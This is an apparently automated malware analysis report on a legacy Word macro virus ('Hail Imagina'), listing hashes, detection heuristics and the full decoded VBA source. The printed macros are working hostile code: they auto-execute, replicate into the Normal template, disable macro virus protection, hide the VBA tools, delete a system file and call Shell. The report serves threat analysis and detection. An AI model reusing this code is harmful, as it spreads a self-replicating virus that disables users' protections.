Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3092004a92cea0fe…

MALICIOUS

Office (OLE)

31.0 KB Created: 2000-04-08 14:32:00 Authoring application: Microsoft Word 8.0 First seen: 2012-10-10
MD5: 2604b05c7371b07fa027ad12f2831f26 SHA-1: 7e7fa250551c2d8a520cc00079a53cdd6cc1bfa5 SHA-256: 3092004a92cea0fe55225f5d74a24f4567f0523468cfd3fe0f0bc8a98717938d
316 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains critical VBA heuristics indicating the use of Shell() calls and auto-execution macros (AutoOpen, AutoClose). The VBA script attempts to execute a command using 'rundll user,#7 0 5' and also attempts to delete a file and export a component to 'c:\windows\system\iosubsys\imagina.sys', suggesting a payload delivery or persistence mechanism.

Heuristics 7

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell ("rundll user,#7 0 5")
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
            .VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub Autoclose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2925 bytes
SHA-256: e68f1d13f113b97c64a0944415fd6ad670b992bd88a10425f4a218ddee41ad3c
Detection
ClamAV: Win.Trojan.C-286
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Módulo1"
Sub AutoExec()
On Error Resume Next
Dim myMsg, Style, Title, Help, Ctxt, Response, MyString
myMsg = "What a bad day!"   ' Define message.
Style = vbCritical   ' Define buttons.
Title = "Hail Imagina!"  ' Define title.
Help = "DEMO.HLP"   ' Define Help file.
Ctxt = 1000 ' Define topic
        

Call mygame
If ((Month(Date) = 5) And (Day(Date) = 16)) Then
    Application.Caption = "Happy Birthday Imagina!!!"
End If

If ((Month(Date) = 2) And (Day(Date) = 14)) Then
    Application.Caption = "Imagina greets u a Happy Valentines Day"
End If
If (Day(Date) = 1) Then
    Application.Caption = "Imagina greets u a pleasant Day"
End If
If (Day(Date) = 13) Then
Response = MsgBox(myMsg, Style, Title, Help, Ctxt)
    Shell ("rundll user,#7 0 5")
End If

End Sub
Sub Autoclose()
On Error Resume Next
Call mygame
End Sub
Sub autoopen()
On Error Resume Next
Call mygame
End Sub

Sub mygame()
On Error Resume Next
Call simple
Kill ("c:\windows\system\iosubsys\hsflop.pdr")
Application.VBE.ActiveVBProject.VBComponents("imagina").Export "c:\windows\system\iosubsys\imagina.sys"
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(I).Name = "imagina" Then NormInstall = True
Next I
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "imagina" Then ActivInstall = True
Next I

If ActivInstall = True And NormInstall = False Then Set Dobj = NormalTemplate.VBProject _
Else If ActivInstall = False And NormInstall = True Then Set Dobj = ActiveDocument.VBProject
Dobj.VBComponents.Import ("c:\windows\system\iosubsys\imagina.sys")
End Sub

Sub simple()
    On Error Resume Next
    Application.UserName = "Mr. Secret"
    Application.UserAddress = "AMACLC ILOILO"
    Application.UserInitials = ""
    With Dialogs(wdDialogFileSummaryInfo)
        .Author = "Mr. Secret"
        .Title = "Hail Imagina"
        .Execute
    End With
    With Options
        .ConfirmConversions = False
        .VirusProtection = False
        .SaveNormalPrompt = False
    End With
    With ActiveDocument
        .ReadOnlyRecommended = False
    End With
    On Error Resume Next
    CommandBars("Visual Basic").Visible = False
    CommandBars("Visual Basic").Enabled = False
    CommandBars("Visual Basic").Protection = msoBarNoChangeVisible
    CommandBars("Visual Basic").Protection = msoBarNoCustomize
    CommandBars("Tools").Controls("Templates and Add-Ins...").Delete
    CustomizationContext = NormalTemplate
    
    End Sub

Sub viewvbcode()
End Sub
Sub toolsmacro()
End Sub

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